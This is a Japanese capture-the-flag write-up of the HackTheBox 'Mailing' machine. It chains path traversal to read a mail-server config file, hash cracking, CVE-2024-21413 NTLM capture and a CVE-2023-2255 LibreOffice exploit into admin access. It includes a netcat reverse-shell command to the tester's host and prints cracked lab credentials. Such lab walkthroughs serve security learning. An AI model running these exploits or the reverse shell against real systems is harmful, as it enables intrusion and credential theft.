【HackTheBox】Mailing：Writeup

# 概要

HackTheBox「Mailing」のWriteupです。

https://app.hackthebox.com/machines/Mailing

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.14 -oN nmap_result
PORT      STATE SERVICE       VERSION
25/tcp    open  smtp          hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://mailing.htb
|_http-server-header: Microsoft-IIS/10.0
110/tcp   open  pop3          hMailServer pop3d
|_pop3-capabilities: UIDL USER TOP
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
143/tcp   open  imap          hMailServer imapd
|_imap-capabilities: IMAP4 SORT QUOTA CHILDREN IDLE completed OK CAPABILITY ACL IMAP4rev1 NAMESPACE RIGHTS=texkA0001
445/tcp   open  microsoft-ds?
465/tcp   open  ssl/smtp      hMailServer smtpd
| smtp-commands: mailing.htb, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
|_ssl-date: TLS randomness does not represent time
587/tcp   open  smtp          hMailServer smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
| smtp-commands: mailing.htb, SIZE 20480000, STARTTLS, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
993/tcp   open  ssl/imap      hMailServer imapd
| ssl-cert: Subject: commonName=mailing.htb/organizationName=Mailing Ltd/stateOrProvinceName=EU\Spain/countryName=EU
| Not valid before: 2024-02-27T18:24:10
|_Not valid after:  2029-10-06T18:24:10
|_ssl-date: TLS randomness does not represent time
|_imap-capabilities: IMAP4 SORT QUOTA CHILDREN IDLE completed OK CAPABILITY ACL IMAP4rev1 NAMESPACE RIGHTS=texkA0001
5040/tcp  open  unknown
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
7680/tcp  open  pando-pub?
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
63701/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: mailing.htb; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-08-29T06:06:44
|_  start_date: N/A
```

`hMailServer`でメールサービスや、`IIS`でWebサービスが動作しています。

`/etc/hosts`にドメインを追記します。

```
10.10.11.14     mailing.htb
```

Webページが表示されました。

![home.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/62abc4f7-0349-f574-4c62-006e0d01ff5c.jpeg)

ページ下の`Download Instructions`ボタンからPDFファイルをダウンロードできました。

![download pdf.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/bf0f2472-de1c-b628-e0d3-d64faeb1f82c.jpeg)

`?file=../download.php`のようなパスを指定すると`download.php`ファイルを読み込め、パストラバーサルの脆弱性があると分かりました。

![パストラバーサル.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0ce01b3e-c1f5-ffd8-83c9-3446b5c959c8.jpeg)

任意のファイルを読み込めると分かったので、`hMailServer`の設定ファイルを読み込みます。

公式リファレンスや他のサイトから`C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini`に`hMailServer`の設定ファイルがあると分かりました。

https://www.hmailserver.com/documentation/v5.1/?page=reference_inifilesettings

https://www.hmailserver.com/forum/viewtopic.php?t=38903#p239858

`?file=../../Program%20Files%20(x86)/hMailServer\Bin\hMailServer.ini`でiniファイルを読み込めました。

![hmailserver ini file.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/078593ab-0cc2-a22a-d985-cb15b0c96846.jpeg)

レスポンスの内容から`AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7`を発見しました。
ハッシュ値を解析し、パスワードを得られました。

```
$ john admin_hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
homenetworkingadministrator (?)
```

メールサービスに関連する2024の脆弱性を検索すると`CVE-2024–21413`がヒットしました。
この脆弱性を悪用することでNTLMv2ハッシュ値を得られるみたいです。

https://medium.com/@moromerx/cve-2024-21413-8a93f6a9acfa

`responder`で待ち受けをします。

```
$ sudo responder -I tun0
```

攻撃には下記PoCを使用します。

https://github.com/xaitax/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

`--recipient`に指定するメールアドレスはWebサイトから`ruy`,`maya`,`gregory`のどれかであると推測できます。

![team list.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/fd3d97ec-9585-ff32-ff52-0d0a490b94f7.jpeg)

PoCを実行します。

```
$ python CVE-2024-21413.py --server mailing.htb --port 587 --username administrator@mailing.htb --password homenetworkingadministrator --sender administrator@mailing.htb --recipient maya@mailing.htb --url '\\10.10.14.96\test\meeting' --subject test

CVE-2024-21413 | Microsoft Outlook Remote Code Execution Vulnerability PoC.
Alexander Hagenah / @xaitax / ah@primepage.de                                                                         

✅ Email sent successfully.
```

`responder`の出力を確認すると、`maya`アカウントのNTLMv2ハッシュ値を得られました。

```
[+] Listening for events...                                                                                           

[SMB] NTLMv2-SSP Client   : 10.10.11.14
[SMB] NTLMv2-SSP Username : MAILING\maya
[SMB] NTLMv2-SSP Hash     : maya::MAILING:e9feca9ce2bd5b2f:29248274D554A8C1E3549794DBA94258:010100000000000000CFCC8AED04DB017858AD3C5D75F5F70000000002000800410035004400430001001E00570049004E002D0033004F0049004200340039005400460046005A004E0004003400570049004E002D0033004F0049004200340039005400460046005A004E002E0041003500440043002E004C004F00430041004C000300140041003500440043002E004C004F00430041004C000500140041003500440043002E004C004F00430041004C000700080000CFCC8AED04DB0106000400020000000800300030000000000000000000000000200000E4BD69AB059FC3E6150EAD15C311404023803D330FFB076DB3CD6F79338E5D470A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00390036000000000000000000
```

ハッシュ値を解析するとパスワードを得られました。

```
$ john maya_hash --wordlist=/usr/share/wordlists/rockyou.txt
m4y4ngs4ri       (maya)
```

`evil-winrm`でターゲットマシンにリモート接続します。

```
$ evil-winrm -u maya -p m4y4ngs4ri -i mailing.htb
*Evil-WinRM* PS C:\Users\maya\Documents>
```

`maya`アカウントのシェルを取得できました。

`user.txt`ファイルを検索します。

```
Get-ChildItem -Path C:\ -Recurse -Filter "user.txt" -ErrorAction SilentlyContinue


    Directory: C:\Users\maya\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---         9/12/2024   4:14 PM             34 user.txt
```

`C:\Users\maya\Desktop\user.txt`からユーザーフラグを入手できました。

```
*Evil-WinRM* PS C:\Users\maya\Documents> type C:\Users\maya\Desktop\user.txt
43743a337c17c773fe5c64357aea2d6d
```

# Root Flag

インストールされているプログラムを確認すると`LibreOffice`があり、バージョンをは`7.4.0.1`でした。

```
dir "C:\Program Files"
d-----          3/4/2024   6:57 PM                LibreOffice
type "C:\program files\libreoffice\program\version.ini"
MsiProductVersion=7.4.0.1
```

このバージョンの脆弱性を検索すると`CVE-2023-2255`がヒットしました。

https://www.libreoffice.org/about-us/security/advisories/cve-2023-2255/

攻撃には下記PoCを利用します。

https://github.com/elweth-sec/CVE-2023-2255

脆弱性を悪用してNetcatでシェルを取得できるようにします。
PoCを実行し、アップロード用のodtファイルを作成します。

```
$ python CVE-2023-2255.py --cmd "cmd.exe /c C:\ProgramData\nc.exe -e cmd.exe 10.10.14.96 1234" --output exploit.odt 
File exploit.odt has been created !
```

Netcatでリッスンします。

```
$ nc -lnvp 1234         
listening on [any] 1234 ...
```

`C:\ProgramData`にNetcatをアップロードします。

```
*Evil-WinRM* PS C:\Important Documents> cd C:\ProgramData
*Evil-WinRM* PS C:\ProgramData> upload /home/kali/Mailing/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/nc.exe
                                        
Info: Uploading /home/kali/Mailing/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/nc.exe to C:\ProgramData\nc.exe                                                                                                       
                                        
Data: 79188 bytes of 79188 bytes copied
                                        
Info: Upload successful!
```

`C:\Important Documents`に移動し、作成したodtファイルをアップロードします。

```
*Evil-WinRM* PS C:\ProgramData> cd "C:\Important Documents"
*Evil-WinRM* PS C:\Important Documents> upload /home/kali/Mailing/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/exploit.odt
                                        
Info: Uploading /home/kali/Mailing/CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability/exploit.odt to C:\Important Documents\exploit.odt                                                                                     
                                        
Data: 40732 bytes of 40732 bytes copied
                                        
Info: Upload successful!
```

Netcatを確認すると管理者権限を取得できました。

```
$ nc -lnvp 1234         
listening on [any] 1234 ...
connect to [10.10.14.96] from (UNKNOWN) [10.10.11.14] 53972
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\LibreOffice\program>whoami
whoami
mailing\localadmin
```

`C:\Users\localadmin\Desktop\root.txt`からルートフラグを入手できます。

```
C:\Program Files\LibreOffice\program>type C:\Users\localadmin\Desktop\root.txt
type C:\Users\localadmin\Desktop\root.txt
887b955163c3ee216553d9422b53b305
```